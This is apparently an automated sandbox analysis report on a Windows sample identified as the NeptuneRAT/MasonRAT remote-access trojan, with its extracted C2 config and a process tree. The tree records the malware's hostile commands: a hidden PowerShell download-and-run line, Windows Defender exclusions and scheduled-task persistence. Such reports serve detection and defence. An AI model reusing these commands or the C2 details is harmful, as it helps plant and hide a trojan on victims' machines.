Analysis
- max time kernel
17s - max time network
29s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
05/08/2026, 01:20
Errors
General
- Target Bypassed.exe
- Size 1.9MB
- Sample260805-bqeelshk2w
- SHA256 c8446d701d99c5c75a98633f56c3dcce2f0a53c6ebfa542810674f539dc7e896
Malware Config
Extracted
-
neptunerat
-
82.22.62.124:443
-
filename
MasonUSB.exe
-
group
MasonGroup
-
key
eacBkjvaIIlrNRCZ
-
rat_name
MasonRAT
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 5 IoCs
- Drops file in System32 directory 1 IoCs
- Drops file in Windows directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of SetWindowsHookEx 2 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵
-
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
-
C:\Windows\System32\WUDFHost.exe"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-568e0d89-9657-4c65-b0a0-f7e1c9297ae5 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-c02d3c30-68f1-45df-ae59-41ae48bf1a81 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-2ac9f55a-e443-4cd8-8c46-7fe7a7c8e531 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-ad2ccd3a-775a-45a6-b584-ef9f096e194b -LifetimeId:48dc8bad-6fb2-4a11-897f-6b15c48633cd -DeviceGroupId:WudfDefaultDevicePool -HostArg:01⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
-
-
C:\Windows\svhost.exeC:\Windows\svhost.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\hc0liyq4.mzb.exe"C:\Users\Admin\AppData\Local\Temp\hc0liyq4.mzb.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
-
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /delete /f /tn "svhost"3⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpB810.tmp.bat""3⤵
- Executes a command shell one-liner
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\6dc3452a-61ad-4d52-bff5-b2a5c0d4acb9.exe"C:\Users\Admin\AppData\Local\Temp\6dc3452a-61ad-4d52-bff5-b2a5c0d4acb9.exe"3⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Windows\svhost.exeC:\Windows\svhost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Roaming\svhost.exeC:\Users\Admin\AppData\Roaming\svhost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
svhost.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
6dc3452a-61ad-4d52-bff5-b2a5c0d4acb9.exe
__PSScriptPolicyTest_tagmro4x.vfe.ps1
hc0liyq4.mzb.exe
memory/452-87-0x0000016BE2140000-0x0000016BE216B000-memory.dmp
memory/452-88-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/644-76-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/644-75-0x0000012E572E0000-0x0000012E5730B000-memory.dmp
memory/644-74-0x0000012E572B0000-0x0000012E572D5000-memory.dmp
memory/684-92-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/684-91-0x000001F243E30000-0x000001F243E5B000-memory.dmp
memory/700-79-0x000001CF16860000-0x000001CF1688B000-memory.dmp
memory/700-80-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/920-84-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/920-83-0x000002B6433E0000-0x000002B64340B000-memory.dmp
memory/1040-95-0x000002196A1B0000-0x000002196A1DB000-memory.dmp
memory/1040-96-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1112-100-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1112-99-0x0000024AA73D0000-0x0000024AA73FB000-memory.dmp
memory/1164-103-0x000001758B060000-0x000001758B08B000-memory.dmp
memory/1164-104-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1196-107-0x000002BFC9090000-0x000002BFC90BB000-memory.dmp
memory/1196-108-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1224-111-0x0000021236170000-0x000002123619B000-memory.dmp
memory/1224-112-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1276-116-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1276-115-0x0000026F49980000-0x0000026F499AB000-memory.dmp
memory/1336-120-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1336-119-0x00000215B9B40000-0x00000215B9B6B000-memory.dmp
memory/1344-123-0x00000255EF570000-0x00000255EF59B000-memory.dmp
memory/1344-124-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1396-128-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1396-127-0x00000196EB7C0000-0x00000196EB7EB000-memory.dmp
memory/1476-131-0x000002B061FC0000-0x000002B061FEB000-memory.dmp
memory/1476-132-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1528-135-0x00000229D1170000-0x00000229D119B000-memory.dmp
memory/1528-136-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1584-0-0x0000000000B70000-0x0000000000D64000-memory.dmp
memory/1752-140-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1752-139-0x0000016773960000-0x000001677398B000-memory.dmp
memory/1788-144-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1788-143-0x00000182BA230000-0x00000182BA25B000-memory.dmp
memory/1828-147-0x00000262267D0000-0x00000262267FB000-memory.dmp
memory/1828-148-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1836-152-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1836-151-0x0000017A81DA0000-0x0000017A81DCB000-memory.dmp
memory/1848-32-0x000002A643B90000-0x000002A643BAA000-memory.dmp
memory/1848-27-0x000002A643B00000-0x000002A643B1C000-memory.dmp
memory/1848-20-0x000002A629460000-0x000002A629482000-memory.dmp
memory/1848-28-0x000002A643BC0000-0x000002A643C73000-memory.dmp
memory/1848-29-0x000002A643B20000-0x000002A643B2A000-memory.dmp
memory/1848-30-0x000002A643B50000-0x000002A643B6C000-memory.dmp
memory/1848-31-0x000002A643B30000-0x000002A643B3A000-memory.dmp
memory/1848-35-0x000002A643B80000-0x000002A643B8A000-memory.dmp
memory/1848-34-0x000002A643B70000-0x000002A643B76000-memory.dmp
memory/1848-33-0x000002A643B40000-0x000002A643B48000-memory.dmp
memory/1928-155-0x000001EBB4340000-0x000001EBB436B000-memory.dmp
memory/1928-156-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1972-160-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/1972-159-0x000001B733DD0000-0x000001B733DFB000-memory.dmp
memory/2036-164-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/2036-163-0x000001DDEEB40000-0x000001DDEEB6B000-memory.dmp
memory/2076-168-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/2076-167-0x00000284BD490000-0x00000284BD4BB000-memory.dmp
memory/2132-171-0x000002032DE60000-0x000002032DE8B000-memory.dmp
memory/2132-172-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/2140-176-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/2140-175-0x00000170AB780000-0x00000170AB7AB000-memory.dmp
memory/2236-179-0x0000022903EB0000-0x0000022903EDB000-memory.dmp
memory/2236-180-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/2248-183-0x0000016AED1B0000-0x0000016AED1DB000-memory.dmp
memory/2248-184-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/2352-187-0x0000000000C20000-0x0000000000C4B000-memory.dmp
memory/2352-188-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/2452-191-0x0000025569DD0000-0x0000025569DFB000-memory.dmp
memory/2452-192-0x00007FF984890000-0x00007FF9848A0000-memory.dmp
memory/2536-195-0x00000295AF290000-0x00000295AF2BB000-memory.dmp
memory/2968-367-0x00000000009E0000-0x0000000000A9E000-memory.dmp
memory/4472-73-0x00007FF9C2800000-0x00007FF9C28BD000-memory.dmp
memory/4472-72-0x00007FF9C4800000-0x00007FF9C4A09000-memory.dmp
memory/4760-63-0x0000000001160000-0x000000000118C000-memory.dmp
memory/4760-62-0x0000000002A70000-0x0000000002AB4000-memory.dmp
memory/4760-327-0x000000001CBB0000-0x000000001CBC2000-memory.dmp
memory/4760-378-0x000000001DE70000-0x000000001DE7A000-memory.dmp
memory/4948-58-0x000000001D130000-0x000000001D140000-memory.dmp
memory/4948-13-0x0000000000CD0000-0x0000000000D8E000-memory.dmp